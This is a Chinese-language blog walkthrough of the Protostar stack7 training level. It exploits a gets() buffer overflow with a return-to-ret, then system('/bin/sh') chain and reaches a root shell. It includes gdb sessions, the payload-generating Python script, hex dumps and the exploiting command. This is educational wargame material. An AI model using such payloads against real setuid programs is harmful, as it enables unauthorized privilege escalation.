简单ROP exploit入门之protostar stack7

About

Stack6 introduces return to .text to gain code execution.

The metasploit tool "msfelfscan" can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.

This level is at /opt/protostar/bin/stack7


http://exploit-exercises.com/protostar/stack7

Source code

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6char *getpath()
 7{
 8  char buffer[64];
 9  unsigned int ret;
10
11  printf("input path please: "); fflush(stdout);
12
13  gets(buffer);
14
15  ret = __builtin_return_address(0);
16
17  if((ret & 0xb0000000) == 0xb0000000) {
18    printf("bzzzt (%p)\n", ret);
19    _exit(1);
20  }
21
22  printf("got path %s\n", buffer);
23  return strdup(buffer);
24}
25
26int main(int argc, char **argv)
27{
28  getpath();
29
30
31
32}


这个题目可以利用ROP 技术,由于使用了

17  if((ret & 0xb0000000) == 0xb0000000) {
18    printf("bzzzt (%p)\n", ret);
19    _exit(1);
20  }

过滤, 所以不能使用堆栈以及环境变量以及libc库的地址来覆盖返回地址。

使用gdb来进行调试,得到EBP 和buffer之间的偏移offset, 以及经常使用的gedget ret指令的地址。

user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048545 <main+0>:	push   %ebp
0x08048546 <main+1>:	mov    %esp,%ebp
0x08048548 <main+3>:	and    $0xfffffff0,%esp
0x0804854b <main+6>:	call   0x80484c4 <getpath>
0x08048550 <main+11>:	mov    %ebp,%esp
0x08048552 <main+13>:	pop    %ebp
0x08048553 <main+14>:	ret    
End of assembler dump.
在这里要说一下为什么使用ret指令, 因为如果使用ret指令的地址来覆盖getpath的返回地址, 那么getpath返回后会直接执行ret指令,也就是pop $eip, 如果这个时候esp指向的是shellcode或者是system等可执行函数的地址, 那么接下来就会执行我们想要执行的函数。


下面通过gdb来得到得到EBP 和buffer之间的偏移offset

user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) b 17
Breakpoint 1 at 0x80484f5: file stack7/stack7.c, line 17.
(gdb) r
Starting program: /opt/protostar/bin/stack7 
input path please: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Breakpoint 1, getpath () at stack7/stack7.c:17
17	stack7/stack7.c: No such file or directory.
	in stack7/stack7.c
(gdb) i r
eax            0x8048550	134514000
ecx            0xbffff75c	-1073744036
edx            0xb7fd9334	-1208118476
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff740	0xbffff740
ebp            0xbffff7a8	0xbffff7a8
esi            0x0	0
edi            0x0	0
eip            0x80484f5	0x80484f5 <getpath+49>
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/32wx $esp
0xbffff740:	0xbffff75c	0x00000000	0xb7fe1b28	0x00000001
0xbffff750:	0x00000000	0x00000001	0xb7fff8f8	0x41414141
0xbffff760:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff770:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff780:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff790:	0xb7fd0041	0xb7fd7ff4	0x08048570	0x08048550
0xbffff7a0:	0xb7ec6365	0xb7ff1040	0xbffff7b8	0x08048550
0xbffff7b0:	0x08048570	0x00000000	0xbffff838	0xb7eadc76
(gdb) print $ebp - 0xbffff75c
$1 = (void *) 0x4c
(gdb) print /d $ebp - 0xbffff75c
$2 = 76
可以看到buffer的起始地址为

0xbffff75c

EBP和buffer之间的offset 为76

下面开始构造payload, 使用system函数,还是使用gdb来得到system函数的地址

user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) b main
Breakpoint 1 at 0x804854b: file stack7/stack7.c, line 28.
(gdb) r
Starting program: /opt/protostar/bin/stack7 

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack7/stack7.c:28
28	stack7/stack7.c: No such file or directory.
	in stack7/stack7.c
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) 

得到system的地址为0xb7ecffb0

我们将system将要执行的命令,也就是system函数的参数,放到环境变量中

export PWN_SHELL7=/bin/sh

通过使用《黑客之道, 漏洞发掘的艺术》一书中提供的程序来获取该环境变量的地址

user@protostar:~$ cat getenvaddr.c 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

使用gcc编译成可执行文件后, 得到环境变量PWN_SHELL7在stack7运行时候的地址

./getenvaddr PWN_SHELL7 /opt/protostar/bin/stack7

 PWN_SHELL7 will be at 0xbfffff65


现在可以利用得到的信息来生成payload了


user@protostar:~$ cat pwn7.py 
#!/usr/bin/env python
offset = 76
nopsled = "\x90" * offset
ret = "\x53\x85\x04\x08"
system = "\xb0\xff\xec\xb7"
system_argv = "\x65\xff\xff\xbf"
print nopsled + "FAKE" + ret + system + "FAKE" + system_argv

将上面的python输出的payload保存到一个文件中

python pwn7.py > payload7

可以使用xxd来查看生成的payload7的16进制信息

user@protostar:~$ xxd payload7
0000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000040: 9090 9090 9090 9090 9090 9090 4641 4b45  ............FAKE
0000050: 5385 0408 b0ff ecb7 4641 4b45 65ff ffbf  S.......FAKEe...
0000060: 0a       

xxd真是一个特别好的工具, 尤其是写exploit的时候,可以使用xxd的-i选项, 将文件的十六进制保存成数组, 并且给出长度,当然很多别的工具基本也都有这个功能


user@protostar:~$ xxd -i payload7
unsigned char payload7[] = {
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x46, 0x41, 0x4b, 0x45, 0x53, 0x85, 0x04, 0x08,
  0xb0, 0xff, 0xec, 0xb7, 0x46, 0x41, 0x4b, 0x45, 0x65, 0xff, 0xff, 0xbf,
  0x0a
};
unsigned int payload7_len = 97;

好的, 现在可以使用下面的命令来获取root权限了

user@protostar:~$ (cat payload7;cat) | /opt/protostar/bin/stack7
input path please: got path ����������������������������������������������������������������S���������FAKES�����FAKEe���
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root

为什么要这样呢, 为什么运行下面的命令直接就coredump呢

user@protostar:~$ cat payload7 | /opt/protostar/bin/stack7
input path please: got path ����������������������������������������������������������������S���������FAKES�����FAKEe���
Segmentation fault


shell的重定向符号 < 或者是管道符号 | 都会默认添加一个EOF, 所以EOF 也会进入到堆栈中。

但是还是不太明白为什么EOF会导致coredump, 因为经过gdb调试发现, 直接cat,最后的\a没有进入到buffer中, 进入到buffer最后的是\x00,但是是在system参数地址的后面。


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值